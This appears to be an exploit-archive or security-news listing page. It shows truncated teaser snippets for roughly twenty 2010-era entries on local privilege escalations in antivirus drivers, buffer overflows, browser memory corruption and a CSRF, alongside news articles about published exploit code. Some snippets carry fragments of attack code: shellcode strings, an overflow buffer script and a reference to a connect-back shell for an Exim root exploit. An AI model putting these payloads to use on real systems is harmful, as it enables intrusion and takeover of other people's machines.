ESTsoft ALYac Anti-Virus 1.5 Privilege Escalation

ESTsoft ALYac Anti-Virus 1.5 with AYDrvNT.sys = 5.0.1.2 Local Kernel Mode Privilege Escalation Vulnerability AUTHOR MJ0011 EMAIL thdecoder$126.com VULNERABLE PRODUCTS ALYac Anti-Virus 1.5 DETAILS: AYDrvNT.sys create a device called "AYDrvNTALYAC" , and handles the device io control code = 0x223e2...

ESTsoft ALYac Anti-Virus 1.5 5.0.1.2 - Local Privilege Escalation

ESTsoft ALYac Anti-Virus 1.5 5.0.1.2 - Local Privilege Escalation ESTsoft ALYac Anti-Virus 1.5 with AYDrvNT.sys = 5.0.1.2 Local Kernel Mode Privilege Escalation Vulnerability AUTHOR MJ0011 EMAIL thdecoder$126.com VULNERABLE PRODUCTS ALYac Anti-Virus 1.5 DETAILS: AYDrvNT.sys create a device called...

AhnLab V3 Internet Security 8.0 < 1.2.0.4 - Local Privilege Escalation

AhnLab V3 Internet Security 8.0 with AhnRec2k.sys = 1.2.0.4 Local Kernel Mode Privilege Escalation Vulnerability AUTHOR MJ0011 EMAIL thdecoder $ 126.com VULNERABLE PRODUCTS AhnLab V3 Internet Security = 8.0.3.28（build 746 DETAILS: AhnRec2k.sys create a device called "AhnRecDrv" , and handles...

Exim 4.63 - Remote Command Execution

Exim 4.63 RedHat/Centos/Debian Remote Root Exploit by Kingcope Modified perl version of metasploit module =for comment use this connect back shell as "trojanurl" and be sure to setup a netcat, ---snip--- $system = '/bin/sh'; $ARGC=@ARGV; if $ARGC!=2 print "Usage: $0 Host Port \n\n"; die "Ex: $0...

New Remotely Exploitable Bug Found in Internet Explorer

Another serious remotely exploitable bug in Internet Explorer has cropped up, this one related to the way that IE handles a specific DLL library on pages that reference CSS files. There also is publicly available exploit code for the new bug. The vulnerability was disclosed initially on the Full...

TDL4 Rootkit Now Using Stuxnet Bug

The TDL4 rootkit, which reared its head last month as the latest evolution of the venerable TDSS malware family, is now using one of the Windows bugs that was first seen in use by Stuxnet. The latest modification to TDL4 enables the rootkit to use the unpatched Windows Task Scheduler vulnerabilit...

Viscom VideoEdit Gold ActiveX 8.0 - Code Execution

Viscom VideoEdit Gold ActiveX 8.0 - Code Execution // Ctrl+C Ctrl+V, herpderp // calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+...

Mediamonkey 3.2.4.1304 Buffer Overflow

Exploit Title: Mediamonkey 3.2.4.1304 mp3 Buffer Overflow Vulnerability PoC Date: 12/04/2010 Author: 0v3r Software Link: http://www.mediamonkey.com/download/?dir=download Version: 3.2.4.1304 Tested on: Windows XP SP3 EN CVE: N/A !/usr/bin/python buff = "\x41" 5000 try: f = open"exploit.mp3",'w'...

Exploit Code Out For New Windows Kernel Flaw

Security experts are warning about a newly discovered local privilege escalation bug in the Windows kernel that affects most of the current versions of the operating system, including Vista and Windows 7. The new Windows kernel bug is considered a critical vulnerability, even though it can’t be...

CA Internet Security Suite 2010 - 'KmxSbx.sys' Kernel Pool Overflow

/ Exploit Title: CA Internet Security Suite 2010 KmxSbx.sys Kernel Pool Overflow 0-day Exploit Date: 2010-11-28 Author: Nikita Tarakanov CISS Research Team Software Link: http://shop.ca.com/ca/products/internetsecurity/internetsecuritysuite.asp Version: up to date, KmxSbx.sys version 6.2.0.22...

D-Link bsc_wlan.php Access Bypass

Hello All, Here is another D-Link vulnerability where you can change the network Key i.e., WEP, WPAx keys. Requirement: 1. You need to have access to the internal network of that router. The two scenarios are mentioned below: Scenario A: You know the network/ WIFI key to connect to the WIFI netwo...

Exploit Code For Stuxnet Windows Task Scheduler Bug Posted

Exploit code is now publicly available for one of the four previously undisclosed Windows vulnerabilities that the Stuxnet worm exploits. The availability of exploit code for the Windows Task Scheduler bug used by Stuxnet makes the bug somewhat more dangerous, as there is currently no patch...

Realtek Audio Microphone Calibration 1.1.1.6 - Local Buffer Overflow

Realtek Audio Microphone Calibration 1.1.1.6 - Local Buffer Overflow done by BraniX www.hackers.org.pl found: 2010.08.24 tested on: Windows XP SP3 Home Edition App. has classic buffer overflow vulnerability it can be triggered by passing too long argument as a startup parameter. Shellcode can by...

Power Audio Editor 7.4.3.230 - .cda Denial of Service

Power Audio Editor 7.4.3.230 - .cda Denial of Service Title: Power Audio Editor .cda Denial of service vulnerability Author : anT!-Tr0J4n Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Greetz : Dev-PoinT.com inj3ct0r.com all DEV-PoinT t34m thanks : r0073r ; Sid3^effects ; L0rd CrusAd3r ;...

Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit

No description provided by source. Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962 Tested on Windows XP SP3 IE6 IE7 IE8 Coded by Matteo Memelli ryujin at offsec.com http://www.offensive-security.com/0day/ie-0day.txt Thx to dookie at offsec.com notes : This is a quick and dirt...

Secretary <= 1.2 CSRF Remote User Settings Change

Exploit for php platform in category web applications ================================================= Secretary Date: 3/11/2010 Site: http://www.giudinvx.altervista.org/ -------------------------------------------------------- Application Info: THE SECRETARY A portfolio management system for...

AVG Internet Security 9.0.851 - Local Denial of Service

/ Exploit Title: AVG Internet Security 0day Local DoS Exploit Date: 2010-11-01 Author: Nikita Tarakanov CISS Research Team Software Link: http://www.avg.com Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832 Tested on: Win XP SP3 CVE : CVE-NO-MATCH Status : Unpatched / include...

Mozilla Firefox 3.6.8 < 3.6.11 - Interleaving 'document.write' / 'appendChild' Remote Overflow

uccccuccccu0d00u0d0du0d00u102du1000u0d00u102du1000u102du1000u2853u1000u0011u0000u116cu1000u0300u7ffeub459u1002u6b99u1000ub333udeaduffffuffffu57a8u13e8u0000u0000u57a0u13e8u1000u0000u0040u0000u2853u1000u0001u0000u2853u1000u0000u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1...

Spider Player Denial of Service Vulnerability

No description provided by source. Exploit Title : Spider Player Denial of Service Vulnerability Software : Spider Player Software link : http://spider-player.com/spider/files/SpiderPlayer2.4.5Setup.exe Autor : ABDI MOHAMED Email : [email protected] greetz: netown3r , sadhacker , net-decrypt...

Adobe Shockwave Player Director file 'rcsL' chunk parsing vulnerability

Overview Adobe Shockwave Player 11.5.8.612 and earlier versions on the Windows and Macintosh operating systems contain a critical vulnerability in the handling of "rcsL" chunks. Description Adobe Macromedia Shockwave Player is software that plays active web content developed in Macromedia and Ado...